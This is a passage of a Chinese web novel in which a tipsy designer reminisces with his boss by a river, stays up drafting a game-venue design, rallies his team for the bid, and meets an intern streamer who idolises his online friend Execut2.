“怎么会。”郁思白脸颊梨涡又冒出来,摆摆手,又指了下脑袋,“就是比较兴奋。这里面东西满满当当,但是又不凌乱,稍微一晃就能听到叮叮当当的灵感碰撞声……好吧,可能有点抽象。”他眉眼弯弯,拿过旁边佐餐的饮料,扒着吸管又喝了一口,露出精神和物质被双重满足的幸福感。 季闻则伸手转了下那个玻璃瓶饮料,细细一看正面,果不其然,在角落里发现了芝麻大点的字。 ——本饮品含酒精。 “你也要喝吗?”郁思白问,但看那表情,似乎并不是很愿意分享。 “……你也别喝了。”季闻则没把饮料推回去,但还是忍不住,露出释然的神色。 吓死了。还以为真的是搞设计走火入魔……原来只是喝多,那没事了。 可下一秒季闻则又觉得,不对,可能也并非没事。 这人上一次喝多做了什么,他可还历历在目。 想了一下,季闻则还是拿出手机,给薛简发了条消息。 【res喝酒之后需要人晚上照顾么?】 然后抬头问:“你晕不晕?” 郁思白似乎真的只是有点兴奋,摇头的幅度比平时大点,道:“没地震啊。” 季闻则:…… 是真的微醺了。 手机震动了一下,薛简这次的回复速度倒是很给力。 【薛简:啊?喝多?他不是说你们去外地出差考察吗】 【季闻则:出了一点小意外】 【薛简:?】 下一秒,薛简的电话就拨进来,再次确认般问了一次:“谁喝多了?” 季闻则起身示意自己出去接个电话,走远两步才道。 “res。”他顿了一下,补充此人大名,“郁思白。” 电话那边,薛简发出一声尖锐的爆鸣。 “你把人带到外地,孤男寡男的给他灌醉了?!季闻则!你就是这么照顾人的?!” 季闻则总觉得这话有点耳熟,仔细一想,可不是那天去KTV他训薛简的原话么。不由得有些讪讪。 “他自己拿了瓶带酒精的饮料,喝了一半,已经喊停了。”季闻则报了饮料名字,忍不住说,“这个只有小孩不给喝吧。” “可他就坐小孩那桌的啊。”薛简说,声音里都听得出,他现在肯定是皱着一张脸,“只半瓶应该没关系,我看他酒量确实见长,你俩溜达溜达,吹吹风,也就缓过劲儿了。” “行。”季闻则放了心。他摸不准郁思白酒量,边打电话,还不忘回头看两眼,就怕人一头栽进红油面汤里。 “那挂了,他现在挺清醒的,我们赶紧回去。” 一听没事儿,薛简便也放松下来,笑了声:“你吓死我了,还以为你给人带渝市灌醉,真看上人家了呢。” 季闻则刚调到沪市的时候,薛简也顺嘴开过这样的玩笑,在他那儿这都不是什么出格的话,本以为季闻则会像之前一样笑着叱骂他。 结果电话那边,一时间安静得像死了一样。 薛简:…… 薛简:??? 他心里一个咯噔,开口声音都有点劈叉:“……喂?怎么不说话了,是、是信号不好吗?” “……”半晌,季闻则开口。 “你要这么说的话,我也没法解释。” 说罢,在薛简的下一声爆鸣发出来前,季闻则眼疾手快,挂了电话。 电话一挂,他转身回去,跟眼前染上果酒味儿的家伙四目相对。 郁思白眨眨眼,问得毫不避讳。 “你被骂啦?” 季闻则没说是也没说不是,扫码付了钱,手机一揣道:“我们回吧。” 郁思白的酒量……说来也好玩。简直和他这个人一样,乍看上去一点儿都遮掩不来,但试图接触之后才发现,完全是捉摸不透。 郁思白看似神志清醒地一起身,下一秒就打了个晃。 季闻则再一看,他打电话不到一分钟的功夫,玻璃瓶里已经空空荡荡了。 再看向果酒味的人…… “走哇?”郁思白站稳了,招呼他往外走,连装着宝贝板材的背包都忘了。 季闻则把包挎在臂弯,快走两步赶上,忽然觉得有些骑虎难下。 现在他回也不是,不回又不可能。 回去怎么办? 把郁思白一个人丢回房间,让他自生自灭?虽然他是没喝多少,走路……看着也只是一点点打飘,但嘴上已经显出点儿没把门的意思了。万一回去之后,头脑一昏做点儿什么,比如开播胡言乱语,第二天醒来肯定得后悔。 可不把人丢回他房间,难不成带回自己那去? 像什么话。 其实还有一个方案。 Execut2。 找由头跟他打个电话挂着,隔着网线看顾他一会儿,也不是不行。 但……还是算了。Execut2和他什么关系?总归不是能煲电话粥的关系,也不合适。 季闻则又头疼起来。 之前吃饭的时候,郁思白问他。为什么没说“郁组长啊能当你的老板我也很开心”,实话是…… 郁思白忽然整个人矮了一下。季闻则立刻伸手拎住他的后衣领,紧接着,眼看前领子就要勒住脖子,又匆忙伸出左手,在人胳膊上扶了一下。 “路上有石头。”郁思白站直了,动了动脚腕,疼得龇牙咧嘴,还扬着一张笑脸说,“不好意思,不好意思……” 一低头,看见季闻则左臂上挎着的包,顿时诶呀一声。 “原来在这儿!我就说缺了点什么。”说着,就把包接过来,重新规规矩矩背到背上,双肩的背法,像个小学生。 轻轻叹了口气,季闻则左手垂落回身侧,紧了紧拎住郁思白后衣领的右手,看着他,忽然就笑了。 “郁组长啊……当你的老板,我总是很头疼。” “那去吹吹海风吧?”郁思白大约是没听清前半句,只顺着最后一句说,末了又皱皱鼻子,认真道,“我都闻到了。” 这人讲起话来还口条清晰,实则已经半点逻辑都没有了,季闻则哭笑不得,拎着人说:“这里是渝市,没有海。” 郁思白神神叨叨地摆手摇头,环顾四周,最后振臂一挥,指向一百米开外的大河。 “我就说我闻到了吧!”他说,“海的味道我知道。” 季闻则觉得好笑,原来你是片脆生生的海苔么。 郁思白抬脚,一歪一歪地就往河边走,季闻则拎着他,也被带着往前。 “那是条河。”季闻则说。 郁思白回头,一双颜色略浅的瞳孔盛满路灯的暖黄,仿佛自己就会发亮似的,他开口,斩钉截铁。 “百川东到海——你只要顺着它下去,它就是海。” 然后头扭回去,闷闷嘟囔:“是我奶奶说的。” “好吧,也对。”季闻则不跟他争辩,只问,“奶奶还说什么?” 自己的话题终于被认可,郁思白立刻开心起来,加快脚步,几乎是一蹦一蹦地往前了,嘴上也没停下。 “我一开始也不是在这片出生的,小时候在海边长大,后来才被丢给奶奶。小时候我刚到她身边儿的时候,总想家,一哭,奶奶就说带我去看海……可我都八、九岁了,是小,又不是傻。我们那儿哪有海啊?她非说有,领着我从太阳落山,走到天上都挂满星星了,才到。” “就在我们镇子边上,有片芝麻大点的湖。”郁思白试图比划,最后还是说,“可能也就场馆这么大吧,总之放到群山里面,显得是很小的。我本来都哭累了,一看这样子,嗷一下又哭得来了劲。本来山里面就容易有回声……我嗷一嗓子,狗都开始叫。” 他说的时候,趴到河边的栏杆上,一歪头枕住胳膊,脸上表情生动,但半点不见郝然,仿佛打心眼儿里觉得,这是他回忆里很快乐的事儿。 “我跟奶奶说你骗我,但她很认真地说,百川东到海。只要有水,就能寻到来处,也能走到海边。” 季闻则好奇:“然后就把你哄好了?” 郁思白笑:“没有,我说了我又不傻,知道渝市附近的是长江,就算是追到入海口,也跟我家那片海八竿子打不着啊……不过我还是跟奶奶回家了,因为跟她说不清楚这俩不是一回事,所以发誓长大要带她去入海口看看。” “所以你后来去了沪市?”季闻则问。 “哪有那么浪漫。”郁思白一托下巴,“是钱远新给的太多,骗我过去的。” 季闻则第一次从他口中听到过去,笑了一下问:“后悔来吗?” “嗯?”郁思白侧头。 季闻则说:“后悔来庭季吗。” “也谈不上……人生嘛,走一步看一步咯。”郁思白说,“那时候钱远新确实给的多呀,我也确实缺钱。” “现在呢?”季闻则问,“经济上还有困难么?” 郁思白顿了一下,垂眸抿了抿唇说:“没有啦……我奶奶去年去世了。” 季闻则一怔。 “她走的时候还挺开心的。那个病到后期,能像她这样体面走的,真的不多。”郁思白看着江面,半晌笑了一下,说。 “她说她有福的,儿子都靠不住,但是有我这么一个能赚钱的幺儿。走的时候也放心,还是因为我能赚很多很多钱,能养活自己,能过好的生活。” 他眨了眨眼:“所以也没什么后悔的,虽然上班是很累很烦又没有成就感,回去直播也会碰到各种奇形怪状的串子黑粉……可至少钱我赚到了,也赚够了。” 季闻则问:“那你之后是什么打算?” “你在套我话嘛?季总。”郁思白问,“要是你这么折腾半天,结果发现我现在还想辞职,你是不是就要——咔擦。”他伸手成刀,微抬下巴,在脖子上比划了一下。 季闻则失笑,伸手,不轻不重地把他的爪子按下去。 郁思白收回视线,深深吸了口河边湿润的空气,抬起胳膊,伸了个非常舒展的懒腰,像是吸了仙气一样,眼神都明亮起来。 “回去吧?”他说,“我要赶紧回去,把现在脑子里的东西都记下来,现在感觉非——常通畅!” “好,等你的好消息。”季闻则说,“我可以随时跟克里夫那边联系。” 郁思白比了个“OK”的手势,圆圆润润的,然后后退一步离开岸边,转身,先往路旁走去。 “我打车。”他说。 季闻则没跟他抢这个,刚跟上去,就听见这家伙抬头忽然补了一句:“你报销的吧?” “……要么我打?”季闻则笑。 郁思白端详他两秒,抬手,一推眼镜,轻快道:“算了,信你。” 季闻则莞尔。 正值周末,附近又人流密集,就连打车也排出一条长队来。 郁思白把两只手都揣进口袋,漫无目的地原地摇晃,一点点的酒精让他变得粗枝大叶起来,丝毫没察觉到,自己时不时就会碰到季闻则的胳膊。 春夜的风忽然裹挟来一阵馥郁的香气,不是火锅的辣味,而是花香。 季闻则下意识加深了呼吸,又嗅闻两下。是很甜的味道,像茉莉,但又不是。 “是七里香。”郁思白说着,抬手指向七八米开外的一家带小院的咖啡馆,院墙上垂下白色绸缎一般的小花。 “原来这边也蛮多人种啊。”他说,“我小时候住的小区也很多,很好活,也足够香。一闻到这个味道,就想起有一天晚上下晚自习回家,发现阳台下面那片花开了,晚上作业也不做,把房间里能涂颜色的家具全画上画了……” 季闻则忍笑问:“你奶奶……” “骂我为什么不画她的家具,她早就觉得那套猪肝色的柜子很丑了。”郁思白摇头,“结果我周末去画,她又变得很挑剔……哎,设计师生涯的第一个甲方就这么经典。” “……这样你都能坚持选这行?”季闻则有些意外。 “因为我画完之后,她很开心呀。”郁思白说,“她的需求得到满足,房间完全焕然一新了,变得生机勃勃……这么说来的话,设计的第一位确实是满足甲方需求。” “我有点好奇。”季闻则道,“这和你的……理念?似乎背道而驰。” “我的理念?哦,你说我不想做那些套路设计,也总是因为不妥协跟钱远新吵架的事儿吗。”郁思白说得很是轻巧。 “嗯。” 郁思白想了一下,认真道:“也不一样吧。” “甲方当然会有需求,需求是他们看得到、想得到的东西,但在这个之上,还有他们隐隐约约幻想过、但受能力所限,看不分明又抓不住的东西……我们的工作就是帮他们抓住这个。” “不然要设计师干什么。甲方发布命令,让机器直接去做好了?” 他说着,笑了一下,颊边的梨涡似乎也被七里香染得清甜。 “所以我之前一直觉得,设计就是造梦。” 过了几秒,季闻则收回落在他身上的视线,忽然问:“这些话,你跟钱远新说过吗?” 郁思白想都不想,不悦:“他听得懂么。” 季闻则又问:“只对我说过?” “……?”郁思白缓缓扭头,目光变得有些古怪,夹杂着探究,端详他一会儿,蹦出三个字。 “季黛玉?” 季闻则忽地莞尔,看向远处:“第一次有人跟我说这些。” 郁思白目光跟着他的,也落在那满墙的七里香上。 “怎么样?季老板。有兴趣吗?” “还不错?”季闻则说着,收回视线含笑看他。 打的车终于姗姗来迟,郁思白带着人找车牌,玩笑说。 “庆幸你长得帅吧,不然我才懒得跟钱远新说这么多。” “你酒劲消了?”季闻则问他。 吹过风,郁思白确实已经很清醒了,同样也察觉到自己之前有点过度兴奋,但他绝对不愿意承认自己失手拿了酒精饮料,一咬牙,嘴硬。 “什么酒劲?没喝酒啊……好了快走快走,忙着回去加班,老板。” “明天下午的飞机,上午还来么?” “我要来的。”郁思白说。 “好,那一起吧。”—— 作者有话说:这章补请假红包20个[可怜] [猫爪] 第35章 当晚回去, 郁思白就火速熬了个小夜,先出了一版草图。 他已经很久没在这个笔记本上画过图了,软件多少有点卡顿, 但一点都没打断他脑海里井喷的灵感。 很顺。他之前一直卡住的、摸不着路的所有的地方,全部都被瞬间疏通。 琢琢磨磨又改了一会儿, 郁思白终于决定先把草图存下来, 然后在公司内部软件上发给季闻则。 意外的是,对方在凌晨三点秒回了他。 【是给我看的,还是让我发给克里夫的?】 郁思白震惊。 【可以直接发给克里夫,你也可以看……如果你有兴趣的话】 【??不过你还没睡啊】 季闻则的回复很简短,但也很沉重。 【在加班】 郁思白心里忽然有点好奇,犹豫片刻, 还是多问了一句。 【你加班……有加班费吗?】 【季闻则:……】 【季闻则:没有】 郁思白发了一个系统自带的微笑小表情过去。这表情和常见的带点嘲讽性质的微笑黄豆不是一个气质,看起来就是很单纯善意的笑。 但大家都清楚, 这时候发个笑, 本身就不怎么善意了。 季闻则也回他一个同样的表情,过了两秒, 似乎觉得不太够味儿,于是撤回,重新发。 【季闻则:^-^】 【季闻则:但我工资比你高,郁组长】 【郁思白:我知道】 【郁思白:不然你也不会给主播一晚上打赏大几万块。】 【季闻则:?】 郁思白打完字发出去, 趴在桌上笑得乐不可支, 觉得自己简直天才。 目光一转, 他又问。 【今年不会不给我发年终奖了吧,老板】 【季闻则:……】 【季闻则:发】 【郁思白:握手.jpg】 【郁思白:您接着忙吧,我不打扰了】 他本来以为话题到这儿就行了,起身正准备关电脑, 却见对面又蹦出一条回复。 【季闻则:你现在睡么?】 郁思白挑眉,模棱两可道。 【不一定,怎么了?】 【季闻则:不困的话可以等一会儿,克里夫那边我让他半小时内给回复。】 看着屏幕,郁思白愣了一下,抬手揉揉眼睛,怀疑自己是不是犯困看岔了。 但没有。 【郁思白:季总你……你面子这么大?】 【季闻则:这也算么?】 郁思白几乎想得到对面那人的表情,嘴角一勾,漫不经心地笑,轻轻飘飘地说。 就好像天大的事儿落在那里,都压不垮他一样。 【郁思白:深不可测啊季老板……】 对面是官方派来的负责人,虽然官不一定多大,但权利肯定不小。季闻则什么实力啊,让人家半小时回复就半小时回复? 【季闻则:^-^】 郁思白看着这个笑脸,忍不住嘴角微抽。 【真的半个小时吗?】 【季闻则:以内】 语气笃定极了。 【郁思白:那我等一会儿吧,整理一下意见再睡,明天也好更有针对性一点。】 【季闻则:我这里有酒店送的夜宵,一些点心,零食。有需要上来就行】 【郁思白:兴趣不是很大。】 【郁思白:季老板你忙吧,我直播补一下下午的第二场比赛解说。】 【季闻则:要上来?】 【郁思白:啊不用,这个点网比白天好挺多的,而且补档解说,不那么要求网速,卡了停一会儿就行。】 【季闻则:好】 顺手退了公司内部软件,郁思白开了播,时不时地注意一下房管列表里,那个叫404的id有没有亮起来。 这个点看直播的比白天少的多,因为人流量小,所以也基本没有乱喷乱带节奏的人,直播间整体氛围和谐得让郁思白有种,自己回到刚开播小透明时期的感觉。 他把这种感觉跟弹幕说了,换来一波又一波的问号。 【?我看你是钱赚够了臭res】 【??说点吉利的】 【???惦记着没人看的时候是吧,那我走】 【哇,这是新主播吗,口条清晰,解说思路也好清楚~关注啦关注啦】 【你们就宠他吧】 【res播多久啊今天晚上,通宵?】 【你还在同事房间里吗/狗头】 郁思白:“播多久?不通宵的。我这刚加完班把方案发过去,等回复的功夫,见缝插针播一局,反正解说补档总要做,把碎片化时间利用起来!” “还在同事房间里吗……不在!”他震声,正气凛然道,“大半夜的,不是打扰人吗。” 【你同事让你一个人加班?】 “没,他也忙着。”郁思白说完,瞥了眼房管列表,又很快速地补了一句,“他还没加班费。” 转念一想,不对,我今天好像也没有。 郁思白扁扁嘴,不再闲聊,接着解说场上情况。 他说好播一局就是一局,半小时刚出头,直播还没捂热乎就下了播。再切回公司软件,季闻则果然已经发来了克里夫的回复。 连带着还有一句。 【明天下午的飞机,你看要去场馆那边呆多久?】 郁思白浏览了一遍克里夫的回复,心里大致有了底,琢磨片刻说。 【留两个小时足够了。】 【季闻则:那……晚点去?】 郁思白顿时露出了然的表情。 季老板也是人,周末也需要睡个懒觉。 【郁思白:点赞.jpg】 季闻则又关心了两句克里夫的意见,两人互道了晚安,结果一小时后,又相遇在公司软件的在线列表。 郁思白犹豫了一会儿,还是没有再发消息过去。他是大脑有点过度兴奋,躺下也睡不着,索性爬起来再改改图,对聊天的意愿并不强烈,想来,季闻则也是。 他忽然发现自己好几次在工作时间之外看到季闻则,这人不是在加班,就是在开会。 哪怕去KTV的那次,他也在车里开会,说忙得脚不沾地都算轻了。 钱远新那个老板当的明明挺轻松……怎么到季闻则这儿,就是没日没夜的加班开会? 放到之前,郁思白绝对不会想象得到自己有一天会觉得自己的老板很累。 他叹了口气,摇头甩掉被夜晚搅得乱七八糟的思绪,晃晃鼠标唤醒息屏的电脑。 他终于感觉有点困的时候,天边已经翻起鱼肚白了。郁思白终于保存关机,站到窗边伸了个懒腰,准备拉住窗帘好好睡一觉,却又忍不住多看了两眼难得的日出。 冷不丁的,郁思白想起上一次改图改到这个点……还是大学的时候。为了一个特别有兴趣的作业,连着四十多个小时没睡觉。 那会儿年轻,哪怕是通宵,第二天都照样轻轻松松跑跳,跟没事人似的,直播+作业连轴转是常态,pupu说他简直是超人。 后来上了班,也不知道是工作太耗人,还是真的上了年纪,熬夜这事儿渐渐变得力不从心起来。 他开始变得第二天会犯困,困到坐在地铁上直接睡到终点站,偶尔心脏也不大舒服。 那时候奶奶还在,他还需要赚钱,还必须惜命,当天就吓得想请假去医院,被驳回。后来还是找了个节假日才去做了检查,医院一眼看不到头的队伍,简直像他一眼看不到出路的人生。 那时候他绝对想不到,在三年后,自己会有机会为了喜欢的游戏项目,画一张图。 天边渐渐染上朝阳的颜色,郁思白攥着窗帘,忽然想,哪怕最后真的失败了,真的无缘去做这个项目,也值了- 克里夫的确切回复,是在三天之后才来的。 只是一个普通的工作日,临近上午的下班时间,郁思白刚拉着一组众人讨论完誉衡别苑的初期事宜。 眼看离下班只剩三四分钟,大家也就懒得再挪窝,纷纷点起外卖,窝在一组舒服的会客室,被午后阳光晒成一滩又一滩懒懒的向日葵酱。 郁思白一般是不参与这种明目张胆的向日葵酱活动的,这是他刚组建一组时候留下来的习惯。 在当时的组里,他年纪最小资历最浅,却定了个组长的名头,因此便习惯性冷着脸,以保证自己在这些人面前永远是严肃的。 虽然说……日子一天天过到现在,自己本性如何,高向日武天骄这样的元老,八成早都一清二楚了。 郁思白起身正要离开,手机忽然弹出邮箱有新邮件的消息。他顺手点开,发现是克里夫十分公事公办语气的邮件时,完全是意外之喜。 高向日一个人占了半个沙发,见他停下脚步看着手机,眼睛忽然睁大,随口问:“怎么了组长,有好消息?” “嗯。”郁思白回头,刚要开口,忽然又停下,重新低头确认似的看了一遍邮件,呼出一口气,再次抬头道。 “有一个项目,我跟季总谈过,是以我们组的名义参报的,如果成功拿下,未来会考虑送奖。”他说。 “啊?庭季一组?我们不就是吗。”高向日没弄懂。 武天骄却很快反应过来,坐直了些:“组长,你的意思是,我们组作为独立团队……?” 郁思白点头。 “是的,独立团队——我来带队,盈亏自负,所以也不强求大家都来。这是项目概要。”他说着,直接在自己手机上打开文件,走过去弯腰把手机放到桌上。 高向日还没看就说:“那我肯定来啊。” 其余几人凑过去,才两秒,小穆就发出一声震天撼地的“卧槽”。 “组组组长??”他结巴着,眼睛几乎要瞪出眼眶,“无畏契约……十周年嘉年华场馆设计?!我们吗?我们做吗?!” “不是我们做,是我们可以参选。”郁思白想了一下,补充,“这件事也有季总的帮忙,虽然不能说百分百拿到,但我和季总可以向你们保证,我们会有很强的竞争力。” “我我我!我去!组长!你带上我吧我什么都会做的组长!求求你了!我玩这个游戏这么多年组长我很有用的!” 小穆直接原地跳起来,连文件都等不及看完了,大声喊道。 “啊啊组长!我是你的狗!!” 其余人顿时大惊失色。小穆作为年纪最小的那个弟弟,平时虽然性格活泼,但……但也没到这个地步啊。 “不至于吧?”江勘忍不住想笑。 小穆立刻露出坚毅的神情,还没开口,却听见高向日一拍大腿,抢先道。 “胡说!”他厉喝,“我才是组长麾下第一狼犬。” 小穆:? “师傅!你咋这样。”他哀嚎。 “我先报的名啊。”高向日觉得自己特别有理。 武天骄快速浏览了一遍文件,冷静举手说,“组长我来。” 然后看向比谁嗓门大的师徒俩,精准吐槽:“你俩都来,组长左牵黄右擎苍。” 江勘也细细看过,把手机推给其他同事,抬头腼腆地笑了笑说:“那我跟着组长西北望射天狼。” 没多久,手机在其余几个组员手里转了一圈,众人纷纷表示很有兴趣。 “说实话,听着就比干套路活有意思。” “确实,送不送奖的不重要,重要的是这个要是拿下,也赚太多了吧……独立团队参选,那公司不抽成?” “不抽。”郁思白说,“但季总……季闻则本人,也算在我们团队里。” 提问的人咧嘴一笑:“也是跟大领导做上同事了。” 剩下的人纷纷表示没理由不参加。 “但以单独的团队去申报的话……我们叫什么名字呢?”突然,江勘提出了一个十分有建设性的问题。 叽叽喳喳的会客室里一时间沉默。 高向日抓抓后脑勺,手一挥道:“那不简单?咱组传统啊,就叫向日葵呗!多好……诶卧槽谁打我啊!” 照着他后背就是一巴掌的同事一叉腰:“高向日你不要以为你是一组的第一个老人,就想在这儿又占我们便宜。” 武天骄点头,抬手把粉毛挽到耳后,目光锐利地在他身上扫了一遍:“是这个理,吉祥物的事儿已经很让你占便宜了。” 高向日嘟囔:“那也不能怪我啊……定向日葵的时候,组里就我、组长和江勘仨人,他俩都同意了呢。” 江勘:“我那是和你还不熟,不好意思反驳你。” 众人又是一阵叽叽喳喳,最后也没决定好叫个什么。 “要不,就叫‘新建文件夹’?”郁思白倚在吧台边,轻笑了一下,提议。 可他话音落后,众人齐刷刷看过来,却都张着嘴没说话。 一时间,竟然没人出声接他的话茬。 郁思白眨了下眼睛,然后缓缓侧头,目光谨慎地扫过每个人的脸。两年以来……他还是头一次被组员冷落。 怎么回事……? 他脸上的笑容有点挂不住了。 “组、组长……”最后和他对上视线的小穆抬手揉了揉眼睛,一呲牙露出一个傻笑。 “你笑起来真好看,嘿……啊谁打我?师傅!” 郁思白顿时站直,彻彻底底把笑容敛了个干净。 这么一冷脸,原本大气都没敢出一下的一组众人,竟然齐刷刷松了口气,郁思白清清楚楚地听见了几道呼气声。 江勘不好意思地说:“还是这个看着顺眼……哈哈。” 武天骄摸了摸下巴道:“原来,组长也会正常笑啊……” 郁思白这下是彻底笑不出来了,眉头一皱,嫌弃地后退半步。 “你们是m?” 小穆点头如捣蒜:“对的对的我是组长的狗,能跟着组长上班我好开心……诶呦师傅!别打我了!” 会客室里的欢声笑语,隔着薄薄的门板传到走廊,没人发现,门外有一个人悄悄转身离开了。 杨孟越见季总在门口站了片刻,最后无奈笑笑,还是没有推门进去,连忙抬脚跟上。 怎么总觉得她老板的背影,忽然变得这么沧桑呢……好像那种留守的孤寡老人啊。 “不进去了吗季总?”杨孟越还是问了一句。 季闻则笑笑:“他看起来应该已经知道了……呵,克里夫。” 这人恐怕是故意先直接联系郁思白,再告诉他的。 但算了,总归也是为了讨人开心- 确定参选后,整个一组就投入了紧锣密鼓的筹备中,再加上原本手上的几个项目,别说是组员,郁思白此后就再没有摸鱼混加班费的时候。 就连和Execut2的聊天次数也随之锐减,郁思白不发消息,Execut2也不主动来找他。 但凡换个人,郁思白都会怀疑“之前聊得那么频繁的时光,终究是错付了”,但这个人是Execut2的话,那很正常了。 毕竟Execut2本身就话少。 反倒是和季闻则的沟通变得多了起来,话题经常是以场馆项目开启,结束的时候,总也会随口说两句其他的琐碎事。 郁思白想,如果自己刚上班的时候是这种工作环境,他不知道会是多快乐的应届毕业生。 唔,不过现在也不迟。 忙归忙,但郁思白还是每天走的最晚的那个,这天晚上快十二点,郁思白关门离开的时候,意外发现二组今天还亮着灯。 钱翀前天突然回来了一趟,不知道是不是钱远新那边出了手保人,但即便如此,钱翀也只露了一下面,始终是线上办公状态,所有人都知道,他怕是干不久了。 二组现在颇有点群龙无首的意思,本来效率就不算高,现在更是乱成一锅粥。 郁思白之前还随口问过季闻则的安排,对方表示正在接洽新的二组组长和总监,言辞之间,确实是歇了让他当这个总监的意思。 不过现在钱翀存在感弱下去,让他当总监似乎也没有了必要性,郁思白没多想。 就是二组,在新组长来之前,恐怕还要累一阵子了。 郁思白抿唇,无声叹气。正要收回目光,忽然,二组办公室里的人似有所感地抬头,发直的视线就这么跟郁思白对上。 那视线发直麻木,眼底青黑,镜片下方还映着电脑屏幕幽幽的光,衬得那人整个像一尊没有生命迹象的邪祟雕塑。 那张嘴一张一合,一下子却没发出声来,郁思白顿时头皮发麻。 视线麻木的姑娘抱歉地扯了下嘴角,清了清嗓子,才发出声来。 “郁组长……”蹦出三个字后,她犹豫了一下才接着苦涩问,“能,能麻烦您稍微指导一下吗。” 另外两人闻声也缓缓抬头,没说话,但眼神里求助的意味已经很明显。 郁思白攥了一下单肩包的带子,脚下像生了胶,他动了动嘴,片刻后才说。 “不合适。” 开口请求帮助的姑娘顿了一下,缓缓垂下眼睛,抿着唇一言不发了。 附近的鸡窝头同事看了眼她,代替她道:“郁组长不好意思,她……她是有点加班加麻了。这图她加班改了三天,每次都被鸟……被我们组长驳回。实在是心理压力大。” “郁组长您别介意。”另外一个男生也道,“您不好插手我们组的活,我们理解的。” “哪个项目。” 麻木垂眸的姑娘愣了一下,然后猛地抬头,看向声音来源处,隔壁组那位以高冷著称的郁组长正问她。 “天璟湾那个大平层么?” “对……对。”她赶忙道,说着就起身要让开椅子。 郁思白仍旧站在一组门口,没有要上前的意思,只道:“我听说过你们那个客户,要求确实有点刁钻。创新点部分你可以参考我们组去年二季度在万象悦府装的那套,其他大风格结合几个经典案例,配色到位,很容易出效果。” 说完,他没等对方再问,目光微动,看向鸡窝头。 鸡窝头目光骤然迸发出光亮,立刻会意:“我我我是锦宸苑项目,套内57平一室一厅小户型,业主要改三室双卫。” “化用飘窗,整合过道功能性。层高足够的话向上找空间。史老师有个11平的极限案例可以参考。” 紧接着不等他用目光询问,那个男生已经举手道:“郁老师我差不多糊弄完了!我就想问一下,怎么能调到一组去。” “……梦里。”这小男生也太虎了,郁思白有点无奈,“辛苦了,早点下班。” “我现在下班,郁老师稍等一下!”虎小伙说着,立刻收拾东西,在眼底青黑和鸡窝头复杂的视线里,揣着包追了上去。 突然从后面窜出一个人的时候,郁思白吓了一跳,脚步下意识停顿。 他推了下眼镜,扭头。 虎小伙撞上对方平静的、仿佛死水一样的目光,顿时也没那么虎了,局促地搓了搓手,低声问。 “郁老师,我听说一组最近……在准备参选一个游戏的嘉年华场馆项目?” “有什么事。” 郁思白不着痕迹地跟对方拉开距离,问。 虎小伙说:“郁老师我能申请参加吗?”说罢,他没等郁思白拒绝,连忙掏出手机一顿翻找,递到郁思白面前。 “郁老师我有我的优势,我是这个游戏的主播,和官方合作过,有一点小名气,对游戏也很了解……您看,这是我的主页。” 主播? 郁思白垂眸看了一眼,忽然顿住。 对方的id莫名有点眼熟,但攫取他视线的,是个人简介里的那行字。 【Execut2初代铁粉,前欧服赋能段顶分,直播新人,感谢关注。】 再往下,置顶动态赫然是一张九年前的截图。 【Execut2:你去做主播,应该会比较有出路】 【tigerrr:谢谢卡神。】 图片配文。 ——他离开的第七年,我来履行和他的约定。主播tigerrr,加油! 郁思白瞬间意识到为什么他会眼熟这个id。 这不就是直播间那些带节奏的弹幕,跟他提过很多次的、来抢占他赛道的新主播吗?—— 作者有话说:(作者求生欲:确实明月高悬但其实没照这个[猫爪]) 小郁:明月高悬不独照我[爆哭] 心虚季:胡说什么呢月亮已经炸了[鸽子]……陨石碎片只落到你家。 小郁:[问号][问号][问号] 没事的小郁,陨石碎片会把自己粘好之后赔你一个更大更圆的月亮[抱抱] 第36章 确认他就是tigerrr本人之后, 郁思白问了他的名字。 “胡啸。郁老师,我叫胡啸。”虎小伙热情地说。 “知道了,这事再说。”郁思白道。 胡啸显然还想缠着他, 但实在对他这张冷脸有点发怵,也怕用力过猛反而让事儿办不成, 便挂着笑容先告辞了。 郁思白看着他跑远的背影, 有点遗憾,又有些奇怪。 怎么就跑了……?原本还想拉着他聊聊Execut2呢!真是的。 郁思白满肚子疑惑地回了家,自然没在直播的时候提这事儿,言辞之间也很小心地没再提及任何现实相关的话题。 tigerrr对马甲不在乎是他的事,自己可得捂好了。 象征性播了两个小时,下播之后, 郁思白冲了个澡钻进被窝,音响里放着喜欢的歌, 他抱着手机打开微信, 直奔置顶对话框。 【卡神!你猜我今天见到了谁?】 【同好诶!】 郁思白发完之后也没等,转而跟pupu聊起ICG的战术储备。 ICG在两天前的比赛里惜败, 倒在四强门外,这两天网上不少人都在宣泄情绪,pupu暂停了每晚刷短视频的活动,常常找郁思白聊天。 郁思白思来想去, 提了一个新思路给他, pupu浅浅一想觉得也颇有可行性, 立刻表示要把教练摇起来聊聊。 pupu来去匆匆,郁思白也乐得重新一头扎回和Execut2的聊天框。 【Execut2:同好?也是玩游戏的?】 他在两分钟前回复。 郁思白连忙打字。 【不是不是,是这个。】 他从手机里找到一张表情包,是一个熊猫头举着牌子, 牌子上写着:【Execut2[爱心]狂粉!给Execut2打call】这样的话。 一个表情包发过去,什么都懂了。 郁思白又发了个哈哈大笑的表情,把开心表现得淋漓尽致。 【Execut2:怎么发现的?】 【Respit2:这事儿,说来也巧……】 对于卡神会好奇这事儿,郁思白多少有点意外,但也没多想,简单讲了这位名叫tigerrr的同好,为了参加场馆项目,不惜上来就自爆马甲的事。 【看得出来,他真的很想干这一票】 最后,郁思白下了判断。 【Execut2:你允许了?】 【嗯嗯,明天准备把他调过来。反正只是实习生而已,他们组现在没人管,要个实习生轻轻松松。】 【卡兔撒花.jpg】 【卡神你对他有印象吗?他主页还挂着你鼓励他当主播呢。】 【Execut2:我没有过目不忘】 【Execut2:也不是什么人都有印象的】 一看这话,郁思白捧着手机,不由得傻乐一下。 嘿嘿,但卡神记得我。 虽然也可能是因为二十万。 想到这儿,郁思白又不免发愁起来。 钱是攒够了……怎么还呢?这段时间他提了两次,加上最开始的那会儿,已经三次了,卡神每次都是拒绝,最后一次还很严肃地说以后不要提了……事不过三,郁思白现在是真不大敢再提。 因为卡神是真的会“管你是谁,全拉黑了”这样处理事情的。 “唉……” 郁思白叹了口气,往床上一趟,忽然觉得怎么有些怪怪的。 季闻则和Execut2这两个人,从刚认识开始,他就免不了把两人拉到一起比较。 照理来说,让人觉得害怕的不应该是老板,而亲近的不应该是Execut2这个偶像兼网友吗? 怎么现在好像……反过来了。 郁思白翻了个身,心里疑惑着嘟囔,最后把原因归结于“由爱而生怖”——虽然这话原意绝对不是这么用的就是了。 